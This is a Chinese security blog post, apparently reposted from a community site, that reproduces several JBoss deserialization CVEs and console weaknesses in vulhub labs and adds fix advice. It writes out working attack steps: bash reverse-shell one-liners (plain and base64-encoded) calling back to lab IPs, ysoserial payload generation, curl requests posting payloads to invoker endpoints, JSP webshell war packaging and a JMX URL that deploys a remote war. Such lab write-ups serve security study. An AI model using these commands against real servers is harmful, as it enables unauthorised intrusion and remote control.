常见中间件——Jboss漏洞复现分析

admin 2022年6月6日20:56:57评论73 views字数 4952阅读16分30秒阅读模式

文章首发于:

火线Zone社区(https://zone.huoxian.cn/)


JBoss漏洞复现分析


JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)


漏洞原理


该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。

但有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。

环境:https://github.com/vulhub/vulhub

访问 /invoker/readonly 返回500,说明页面存在,此页面存在反序列化漏洞。


常见中间件——Jboss漏洞复现分析


使用工具JavaDeserH2HC(https://github.com/joaomatosf/JavaDeserH2HC)进行攻击

首先使用nc建立一个监听,然后使用工具


#生成ReverseShellCommonsCollectionsHashMap.classjavac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成ReverseShellCommonsCollectionsHashMap.serjava -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc监听端口)
#访问利用 POST 二进制数据上去curl http://127.0.0.1:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser


常见中间件——Jboss漏洞复现分析


直接获取到root权限


也可以使用常规Java反序列化漏洞测试方法来复现该漏洞

首先bash -i >& /dev/tcp/192.168.111.128/8888 0>&1进行base64加密后反弹shell的命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}

使用ysoserial来复现生成序列化数据,利用链根据java版本选择,vulnhub环境的java版本较高,所以使用CommonsCollections5

使用nc监听后按顺序输入以下命令


java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" >poc.ser
curl http://192.168.111.128:8080/invoker/readonly --data-binary @poc.ser


常见中间件——Jboss漏洞复现分析


同样能够获取权限


修复建议:


  • 删除http-invoker.sar组件,路径如下jboss-6.1.0.Finalserverdefaultdeployhttp-invoker.sar

  • 更新JBoss


JBoss <=4.x JBossMQJMS 反序列化漏洞(CVE-2017-7504)


漏洞原理


JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTPInvocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

环境:https://github.com/vulhub/vulhub

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet 请求中


常见中间件——Jboss漏洞复现分析


因为都是反序列化漏洞,攻击时方式和之前一样,先生成一个序列化数据,然后通过包发送,生成方式一样。


#生成ReverseShellCommonsCollectionsHashMap.classjavac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc监听端口)
#访问利用 curl http://127.0.0.1:8080/jbossmq-httpil/HTTPServerILServlet  --data-binary @ReverseShellCommonsCollectionsHashMap.ser


常见中间件——Jboss漏洞复现分析


同样的也可以使用常规Java反序列化漏洞测试方法来复现该漏洞

具体方法和上面一样

使用nc监听后按顺序输入以下命令


java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" >poc.ser
curl http://192.168.111.128:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser


常见中间件——Jboss漏洞复现分析


JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)


漏洞原理


这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。


影响版本


  • JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10

  • JBoss AS (Wildly) 6 and earlier

  • JBoss A-MQ 6.2.0

  • JBoss Fuse 6.2.0

  • JBoss SOA Platform (SOA-P) 5.3.1

  • JBoss Data Grid (JDG) 6.5.0

  • JBoss BRMS (BRMS) 6.1.0

  • JBoss BPMS (BPMS) 6.1.0

  • JBoss Data Virtualization (JDV) 6.1.0

  • JBoss Fuse Service Works (FSW) 6.0.0

  • JBoss Enterprise Web Server (EWS) 2.1,3.


环境:https://github.com/vulhub/vulhub

访问 /invoker/JMXInvokerServlet


常见中间件——Jboss漏洞复现分析


说明接口开放,此接口存在反序列化漏洞

同样这里直接利用CVE-2017-12149生成的ser,发送到 /invoker/JMXInvokerServlet接口中。


curl http://127.0.0.1:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser


常见中间件——Jboss漏洞复现分析


JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)


影响版本


  • Jboss 6.x


环境:https://github.com/vulhub/vulhub

访问 /invoker/EJBInvokerServlet


常见中间件——Jboss漏洞复现分析


说明接口开放,此接口存在反序列化漏洞

同样这里直接利用CVE-2017-12149生成的ser,发送到 /invoker/EJBInvokerServlet接口中。


curl http://127.0.0.1:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser


Administration Console 弱口令 && 后台getshell漏洞


环境:https://github.com/vulhub/vulhub

在后台管理控制台爆破密码http://127.0.0.1:8080/admin-console/index.seam


常见中间件——Jboss漏洞复现分析


登陆后台后上传war包,和tomcat的漏洞同理,写好一个jsp木马打包成war文件

jar -cvf shell.war shell.jsp


常见中间件——Jboss漏洞复现分析


常见中间件——Jboss漏洞复现分析


蚁剑连接http://127.0.0.1:8080/shell/shell.jsp


常见中间件——Jboss漏洞复现分析


修复建议


  1. 修改密码 C:jboss-6.1.0.Finalserverdefaultconfpropsjmx-console-users.properties

  2. 删除Administration Console页面。

    JBoss版本>=6.0,admin-console页面路径为:C:jboss-6.1.0.Finalcommondeployadmin-console.war

    6.0之前的版本,路径为C:jboss-4.2.3serverdefaultdeploymanagementconsole-mgr.sarweb-console.war


JMX Console未授权访问


JMXConsole默认存在未授权访问,直接点击JBoss主页中的JMXConsole链接进入JMXConsole页面。

http://127.0.0.1:8080/jmx-console/

在JMXConsole页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeploye


常见中间件——Jboss漏洞复现分析


进入service=MainDeployer页面之后,找到methodIndex为17 or 19的deploy 填写远程war包地址进行远程部署。


常见中间件——Jboss漏洞复现分析


(这里点了invoke会跳到500,所以我直接在url构造上传war包)

http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.0.108/shell.war


常见中间件——Jboss漏洞复现分析


显示这样就代表上传成功


常见中间件——Jboss漏洞复现分析


修复建议


  • 增加密码措施,防止未授权访问。

  • 删除JMXConsole,后重启JBoss   C:jboss-6.1.0.Finalcommondeployjmx-console.war

针对Jboss反序列化网上已经有很多工具了,这里放出来给大家参考

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar



【火线Zone云安全社区群】

进群可以与技术大佬互相交流

进群有机会免费领取节假日礼品

进群可以免费观看技术分享直播

识别二维码回复【社区群】进群

常见中间件——Jboss漏洞复现分析


【火线Zone社区周激励】

2022.5.30~ 2022.6.5公告

常见中间件——Jboss漏洞复现分析


【相关精选文章】


常见中间件——Jboss漏洞复现分析


常见中间件——Jboss漏洞复现分析


常见中间件——Jboss漏洞复现分析

火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!

如需转载火线Zone公众号内的文章请联系火线小助手:hxanquan(微信)


常见中间件——Jboss漏洞复现分析

//  火线Zone //

微信号 : huoxian_zone


常见中间件——Jboss漏洞复现分析

点击阅读原文,加入社区,共建一个有技术氛围的优质社区!

原文始发于微信公众号(火线Zone):常见中间件——Jboss漏洞复现分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月6日20:56:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   常见中间件——Jboss漏洞复现分析http://cn-sec.com/archives/1092307.html

发表评论

匿名网友 填写信息